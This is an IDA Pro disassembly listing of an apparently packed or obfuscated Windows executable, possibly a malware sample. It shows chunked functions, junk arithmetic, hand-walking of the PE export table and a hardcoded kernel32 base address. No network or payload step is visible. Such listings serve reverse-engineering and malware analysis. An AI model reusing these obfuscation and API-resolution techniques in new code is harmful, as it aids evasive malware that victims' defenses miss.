; FUNCTION CHUNK AT 00423AC0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042424C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425284 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004252E5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00425388 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004256A5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004259CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428C2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A64E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C40B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042C7D4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D52B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D875 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042F48C SIZE 0000001B BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	eax, [ebp-125h]
		jmp	loc_4259CD
sub_4273CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C002


loc_4273D9:				; CODE XREF: sub_42C002:loc_42C011j
		push	(offset	loc_42737C+1)
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_42C002

; =============== S U B	R O U T	I N E =======================================



sub_4273E3	proc near		; CODE XREF: sub_42D4B1-30E1p
					; _7hdaygc1:0042C2A6j
		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp+8]
		push	offset loc_425605
		jmp	nullsub_12
sub_4273E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_4273F4:				; CODE XREF: sub_42DD73-9B1j
		jo	loc_42357F
		or	ebx, 0CB3DD8E7h
		jmp	loc_42955E
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_427405:				; CODE XREF: sub_42F05E:loc_423594j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-14h], 4
		jnz	loc_42A892
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jnz	loc_42A892
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_42A635
		jmp	loc_424E38
; END OF FUNCTION CHUNK	FOR sub_42F05E

; =============== S U B	R O U T	I N E =======================================



sub_42742E	proc near		; CODE XREF: sub_426CBB-2D2Cp
					; _7hdaygc1:00426F00j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424C36 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00427281 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A792 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D216 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E6D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F25C SIZE 0000001B BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, ds:dword_42E1C4
		or	eax, eax
		jnz	loc_42D216
		jmp	loc_42E6D0
sub_42742E	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291CE


loc_427446:				; CODE XREF: sub_4291CE+6j
		jmp	loc_42877F
; END OF FUNCTION CHUNK	FOR sub_4291CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42512A


loc_42744B:				; CODE XREF: sub_42512A+3130j
		jmp	loc_423077
; END OF FUNCTION CHUNK	FOR sub_42512A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_427450:				; CODE XREF: sub_423172+13j
		jmp	loc_4283F4
; END OF FUNCTION CHUNK	FOR sub_423172

; =============== S U B	R O U T	I N E =======================================



sub_427455	proc near		; DATA XREF: sub_4273CA:loc_42F49Do

; FUNCTION CHUNK AT 0042537C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042670C SIZE 00000005 BYTES

		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42B644
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		jmp	loc_42670C
sub_427455	endp

; ---------------------------------------------------------------------------
		db 0D5h, 0CFh, 6Dh
dword_427474	dd 2							; sub_42CCFE-3DCDr ...
		dd 3 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E076


loc_427874:				; CODE XREF: sub_42E076:loc_42E086j
		jmp	loc_4251B3
; END OF FUNCTION CHUNK	FOR sub_42E076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_427879:				; CODE XREF: sub_425E64+7C52j
		jmp	loc_42F277
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------


loc_42787E:				; CODE XREF: _7hdaygc1:00425DEAj
		jmp	loc_424870
; ---------------------------------------------------------------------------
		db 68h
dword_427884	dd 2				dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
		dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
		dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
		dd 3 dup(1), 2,	1C2h, 3	dup(2),	3 dup(1), 2, 1C2h, 0Bh dup(2)
		dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
		dd 1, 2, 2 dup(1), 2 dup(2), 1,	3 dup(2), 1, 2,	1, 2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1
dword_427C84	dd 7C859B72h	; resolved to->KERNEL32.DebugBreak					; sub_425C3B+8460w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D01B


loc_427C88:				; CODE XREF: sub_42D01B+11j
		jmp	loc_42D81F
; END OF FUNCTION CHUNK	FOR sub_42D01B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AA8


loc_427C8D:				; CODE XREF: sub_424AA8+15F0j
		jmp	loc_42C219
; END OF FUNCTION CHUNK	FOR sub_424AA8
; ---------------------------------------------------------------------------
		dw 2010h
dword_427C94	dd 0							; sub_42D757:loc_42C3CFo ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_427C98:				; CODE XREF: sub_42AFFE-6C7Fj
		jmp	nullsub_107
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
		db 0F6h, 83h, 0FCh
dword_427CA0	dd 7C800000h						; sub_42ABF7+4r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_427CA4:				; CODE XREF: sub_425E64+76C2j
		jmp	loc_42A7D4
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_427CA9:				; CODE XREF: sub_4232DA+68EAj
		jmp	loc_42DA8C
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
		dw 11ACh
		dd 379C56ADh, 32668D2Bh, 638D915Ch, 0B15B0E00h ; DATA XREF: sub_42BE7D+Do
					; sub_4240B0+B353o
byte_427CC0	db 1			; DATA XREF: sub_42DBF7-4748w
					; sub_42DBF7:loc_42FA0Er
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_427CC1:				; CODE XREF: sub_42B74A+1C0Dj
		jmp	loc_42C669
; END OF FUNCTION CHUNK	FOR sub_42B74A

; =============== S U B	R O U T	I N E =======================================



sub_427CC6	proc near		; CODE XREF: sub_426130:loc_424F89p
					; _7hdaygc1:00429E2Aj

; FUNCTION CHUNK AT 00425DEF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042A4B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DDE3 SIZE 00000012 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		or	ecx, ecx
		jz	loc_42DDE3


loc_427CD2:				; CODE XREF: _7hdaygc1:0042D374j
		call	sub_4269BB


loc_427CD7:				; CODE XREF: sub_42D503+6j
		jmp	nullsub_13
sub_427CC6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427CDC:				; CODE XREF: _7hdaygc1:00428668j
		jmp	loc_42B61A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_427CE2:				; CODE XREF: sub_424963+18j
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_4237DA
		jmp	loc_42BD92
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BD51


loc_427CF4:				; CODE XREF: sub_42BD51:loc_42615Cj
		pop	esi
		mov	[edx], eax
		mov	eax, offset dword_42BC4C
		call	sub_42DBEA
		jmp	loc_42FD50
; END OF FUNCTION CHUNK	FOR sub_42BD51
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_427D07:				; CODE XREF: sub_425C3B+4CEEj
		jmp	sub_428C3B
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------


loc_427D0C:				; CODE XREF: _7hdaygc1:0042A45Cj
		jmp	locret_426FA9

; =============== S U B	R O U T	I N E =======================================



sub_427D11	proc near		; CODE XREF: _7hdaygc1:0042675Fp
					; _7hdaygc1:00427267j

; FUNCTION CHUNK AT 00423D6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ACE8 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebp-4], eax
		mov	eax, offset dword_42BC4C
		call	sub_427D8E
		cmp	ds:dword_42BC60, 0
		jnz	loc_429BBE
		jmp	loc_423D6A
sub_427D11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427D34:				; CODE XREF: _7hdaygc1:004260AFj
		jnb	loc_428DF2

; =============== S U B	R O U T	I N E =======================================



sub_427D3A	proc near		; CODE XREF: sub_42AA9B+2451p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424A07 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00427F9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429106 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	edx, [esp+0]
		mov	ebx, edx
		pop	edx
		add	ebx, 629A08C0h
		jmp	loc_427F9B
sub_427D3A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_427D4F:				; CODE XREF: sub_42C443+13j
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_42F411
; ---------------------------------------------------------------------------


loc_427D5D:				; CODE XREF: sub_42C443+4j
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_42F411
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_42F411
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_427D73:				; CODE XREF: sub_423648-4A5j
					; sub_423648+2191j
		cmp	dword ptr [ebp-1Ch], 67h
		jmp	loc_42D7CF
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C119


loc_427D7C:				; CODE XREF: sub_42C119+10j
		cmp	al, 0A4h
		jnz	loc_425BED
		jmp	loc_42D0D5
; END OF FUNCTION CHUNK	FOR sub_42C119
; ---------------------------------------------------------------------------
		jmp	loc_425BED

; =============== S U B	R O U T	I N E =======================================



sub_427D8E	proc near		; CODE XREF: sub_426A62+Ep
					; sub_427D8E-BE3j ...

; FUNCTION CHUNK AT 00424A38 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427193 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0042F617 SIZE 0000000A BYTES

		mov	edx, 1
		lock xchg edx, [eax]
		or	edx, edx
		jz	nullsub_14
		jmp	loc_427193
sub_427D8E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_427DA3:				; CODE XREF: sub_42C16F-3DBAj
		add	eax, ebx


loc_427DA5:				; CODE XREF: sub_42C16F:loc_4283A6j
		xor	edx, 0E380DD97h
		call	sub_42C1AF
		push	edx
		mov	edx, eax
		xchg	edx, [esp+18h+var_18]
		call	sub_4259F0
; END OF FUNCTION CHUNK	FOR sub_42C16F
; START	OF FUNCTION CHUNK FOR sub_424E42


loc_427DBB:				; CODE XREF: sub_424E42+6j
		jmp	loc_4244FC
; END OF FUNCTION CHUNK	FOR sub_424E42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_427DC0:				; CODE XREF: sub_42AFFE:loc_42ADEAj
					; sub_42AFFE+4A3Aj
		xor	eax, 713CD462h
		add	eax, ebp
		add	eax, 0B43804BFh
		mov	eax, [eax]
		push	offset sub_424A2B
		jmp	nullsub_108
; END OF FUNCTION CHUNK	FOR sub_42AFFE

; =============== S U B	R O U T	I N E =======================================



sub_427DDA	proc near		; CODE XREF: _7hdaygc1:0042CEC1j
					; _7hdaygc1:0042E8AEp

; FUNCTION CHUNK AT 00428179 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F737 SIZE 00000008 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-4], eax
		push	1Ch
		lea	eax, [ebp-34h]
		push	eax
		jmp	loc_428179
sub_427DDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edi
		call	sub_42D59A
; START	OF FUNCTION CHUNK FOR sub_423D07


loc_427DF2:				; CODE XREF: sub_423D07+5j
		jmp	nullsub_149
; END OF FUNCTION CHUNK	FOR sub_423D07
; ---------------------------------------------------------------------------


loc_427DF7:				; CODE XREF: _7hdaygc1:0042846Aj
		or	edx, 82E6E2Bh
		add	ecx, eax


loc_427DFF:				; CODE XREF: _7hdaygc1:loc_429702j
		call	sub_42D757
		push	47B10D34h
		pop	edx
		and	edx, 0D4A91A4h
		sub	edx, 143A6300h
		jmp	loc_42CA9E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_427E1C	proc near		; DATA XREF: sub_42B32F:loc_42CC53o
		push	eax
		call	sub_428371


loc_427E22:				; CODE XREF: sub_4291A3+40D0j
		jmp	nullsub_73
sub_427E1C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_427E27:				; CODE XREF: sub_42AA07+C38j
		jmp	loc_42621E
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E254


loc_427E2C:				; CODE XREF: sub_42E254-8F20j
		jmp	loc_42357A
; END OF FUNCTION CHUNK	FOR sub_42E254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_427E31:				; CODE XREF: sub_42EF91+Ej
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	2Eh
		call	sub_42525E


loc_427E3F:				; CODE XREF: _7hdaygc1:0042A264j
		jmp	loc_42CE5A
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425735


loc_427E44:				; CODE XREF: sub_42F9D2-C132j
					; sub_42D073:loc_4238B6j ...
		js	loc_4298E4
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		push	offset loc_423713
		jmp	nullsub_42
; END OF FUNCTION CHUNK	FOR sub_425735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_427E5B:				; CODE XREF: sub_42A833:loc_42B1D4j
		call	sub_423752


loc_427E60:				; DATA XREF: _7hdaygc1:004233ECo
		xchg	ebx, [esp+4+var_4]
		jmp	loc_42A86E
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_427E68:				; CODE XREF: sub_42B470j
		push	eax
		mov	eax, ebp
		xchg	eax, [esp+4+var_4]
		mov	ebp, esp
		push	esi


loc_427E71:				; CODE XREF: sub_4253A0:loc_42DF52j
		jmp	loc_427386
; END OF FUNCTION CHUNK	FOR sub_42B470

; =============== S U B	R O U T	I N E =======================================



sub_427E76	proc near		; DATA XREF: _7hdaygc1:004247C5o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00426B32 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042967A SIZE 00000012 BYTES

		mov	ecx, [ebp-4]
		mov	eax, 1
		shl	eax, cl
		not	eax
		and	ebx, eax
		jmp	loc_42967A
sub_427E76	endp

; ---------------------------------------------------------------------------


loc_427E89:				; DATA XREF: sub_42F8B9+1o
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, dword ptr ds:loc_424696+2
		or	eax, eax
		jnz	loc_42B8FE
		jmp	loc_42404E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_427EA3:				; CODE XREF: sub_423DFC:loc_4231C1j
		sub	eax, 55F4F997h
		or	eax, 11CC53F2h
		test	eax, 100h
		jmp	loc_4262BE
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B14C


loc_427EBA:				; CODE XREF: sub_42B14C:loc_42FBD6j
		rol	eax, 11h
		xor	eax, 0D2A56A0Dh
		add	eax, ebp
		add	eax, 0A934DE93h
		push	eax
		push	4
		call	sub_42D48F
; END OF FUNCTION CHUNK	FOR sub_42B14C
; START	OF FUNCTION CHUNK FOR sub_429A26


loc_427ED3:				; CODE XREF: sub_429A26+4C44j
		jmp	sub_42F6CD
; END OF FUNCTION CHUNK	FOR sub_429A26
; ---------------------------------------------------------------------------


loc_427ED8:				; CODE XREF: _7hdaygc1:004238F1j
		jmp	loc_426F46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426BF7


loc_427EDD:				; CODE XREF: sub_426BF7+73Aj
		or	eax, 440390Ch
		add	eax, 7EEEDE36h
		add	eax, ebp
		add	eax, 6B1B61AAh
		jmp	loc_4293B5
; END OF FUNCTION CHUNK	FOR sub_426BF7

; =============== S U B	R O U T	I N E =======================================



sub_427EF6	proc near		; CODE XREF: _7hdaygc1:0042C15Fj
					; sub_42CB85+7p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0042369E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423C59 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042471B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425229 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00427FC1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042CDB6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042E839 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042ECEF SIZE 0000001A BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		mov	edx, eax
		jmp	loc_425229
sub_427EF6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_427F07:				; CODE XREF: sub_4291A3-5032j
		mov	edx, 0E5254649h
		call	sub_42C763
		mov	ds:dword_425154, eax
		jmp	loc_425BED
; ---------------------------------------------------------------------------


loc_427F1B:				; CODE XREF: sub_4291A3:loc_424159j
		cmp	ds:dword_425154, 0
		jnz	loc_42E1E2
		call	sub_425BFC
		jmp	loc_428745
; END OF FUNCTION CHUNK	FOR sub_4291A3
; ---------------------------------------------------------------------------


loc_427F32:				; CODE XREF: _7hdaygc1:004241D3j
		jg	loc_429A1B
		adc	edi, ebx
		mov	edi, 8710D97Ch
		push	7D306870h
		jmp	loc_424CF7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428613


loc_427F4A:				; CODE XREF: sub_428613+75A9j
		jmp	loc_425A48
; END OF FUNCTION CHUNK	FOR sub_428613
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CA9


loc_427F4F:				; CODE XREF: sub_425CA9+9869j
		jmp	nullsub_124
; END OF FUNCTION CHUNK	FOR sub_425CA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_427F54:				; CODE XREF: sub_423410+18E2j
		pop	ebp
		jmp	loc_426340
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_427F5A:				; CODE XREF: sub_42D9E1+21EBj
		jnz	loc_4280F2
		jmp	loc_42B295
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		push	eax
		push	ecx
		call	sub_424F2F

; =============== S U B	R O U T	I N E =======================================



sub_427F72	proc near		; CODE XREF: sub_42D9E1:loc_42B2ECp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424A26 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424ACA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004256C3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426928 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042BA9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F6B0 SIZE 00000005 BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		push	eax
		call	sub_428C3B
		add	eax, [ebp-0Ch]
		call	sub_429412


loc_427F84:				; CODE XREF: _7hdaygc1:004241E3p
					; _7hdaygc1:004286CFj
		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		push	8D13053Eh
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_42BA9F
sub_427F72	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_427F96:				; CODE XREF: sub_42A052+1923j
		jmp	loc_424809
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427D3A


loc_427F9B:				; CODE XREF: sub_427D3A+10j
		jmp	loc_424A07
; END OF FUNCTION CHUNK	FOR sub_427D3A
; ---------------------------------------------------------------------------


loc_427FA0:				; CODE XREF: _7hdaygc1:00424FC0j
		jmp	sub_4272FB
; ---------------------------------------------------------------------------


loc_427FA5:				; CODE XREF: _7hdaygc1:0042E1CFj
		xchg	edx, [esp]
		mov	ebx, edx
		pop	edx
		jmp	loc_4296A2
; ---------------------------------------------------------------------------


loc_427FB0:				; CODE XREF: _7hdaygc1:loc_42B9C7j
		pop	edx
		mov	eax, [ebp-10h]
		test	eax, eax
		jle	loc_424BDD
		jmp	loc_42E190
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427EF6


loc_427FC1:				; CODE XREF: sub_427EF6+4EC7j
		jb	loc_42E839


loc_427FC7:				; CODE XREF: sub_427EF6:loc_42471Bj
		mov	eax, 4000h
		call	sub_42828C
		push	esi
		jmp	loc_42ECEF
; END OF FUNCTION CHUNK	FOR sub_427EF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E56


loc_427FD7:				; CODE XREF: sub_428E56:loc_4246B8j
		add	eax, 705EA07Dh
		xchg	eax, [esp+4+var_4]
		jmp	sub_4288FE
; END OF FUNCTION CHUNK	FOR sub_428E56
; ---------------------------------------------------------------------------
		test	al, al
		jz	nullsub_195
		jmp	loc_423E92
; ---------------------------------------------------------------------------


loc_427FF2:				; DATA XREF: sub_42828C+3950o
		push	35F0BA7Ah
		xchg	ebp, [esp]
		mov	ebx, ebp
		pop	ebp
		rol	ebx, 6
		cmp	ebx, 0EDCFE153h
		jmp	loc_42D699
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42948A


loc_42800B:				; CODE XREF: sub_42948A:loc_42949Aj
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_42B9B8, 0
		jnz	loc_423E70
		jmp	loc_4266D7
; END OF FUNCTION CHUNK	FOR sub_42948A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_428022:				; CODE XREF: sub_424AE1+224Aj
		xor	ebx, ecx
		jmp	loc_426671
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------


loc_428029:				; CODE XREF: _7hdaygc1:0042ABCDj
		add	ebx, ebp
		test	ebx, 3C7431C8h
		jmp	loc_42ADD2
; ---------------------------------------------------------------------------
		mov	ebx, [ecx]
		jmp	sub_42AA11
; ---------------------------------------------------------------------------
		jnp	loc_42A038
		jmp	loc_42B9CC
; ---------------------------------------------------------------------------


loc_428048:				; CODE XREF: _7hdaygc1:0042337Bj
		mov	edx, [ebp+8]


loc_42804B:				; CODE XREF: _7hdaygc1:loc_42A527j
		mov	[edx-18h], eax
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		mov	eax, [eax-18h]
		and	eax, 7
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_42BA55
; ---------------------------------------------------------------------------


loc_428066:				; DATA XREF: sub_42E254:loc_42357Ao
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D65


loc_428068:				; CODE XREF: sub_424D65+7j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_424D65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E254


loc_42806D:				; CODE XREF: sub_42E254-8F2Ej
		push	offset sub_429098
		jmp	loc_429BF2
; END OF FUNCTION CHUNK	FOR sub_42E254
; ---------------------------------------------------------------------------


loc_428077:				; CODE XREF: _7hdaygc1:00423998j
		xchg	eax, edi

; =============== S U B	R O U T	I N E =======================================



sub_428079	proc near		; CODE XREF: sub_42DD73-4695p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424C27 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042BB05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F3E2 SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	ebp, [esp-4+arg_0]
		push	0
		jmp	loc_42BB05
sub_428079	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_428088:				; CODE XREF: sub_4270E6+3DB1j
		jmp	loc_42FCC0
; END OF FUNCTION CHUNK	FOR sub_4270E6
; ---------------------------------------------------------------------------


loc_42808D:				; CODE XREF: _7hdaygc1:00425C27j
		jmp	loc_428F11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_428092:				; CODE XREF: sub_429318:loc_423F28j
		not	ebx
		adc	esi, 23D01B73h
		jmp	loc_42F894
; END OF FUNCTION CHUNK	FOR sub_429318

; =============== S U B	R O U T	I N E =======================================



sub_42809F	proc near		; CODE XREF: _7hdaygc1:004280C5p
					; _7hdaygc1:0042D190j

arg_0		= dword	ptr  4

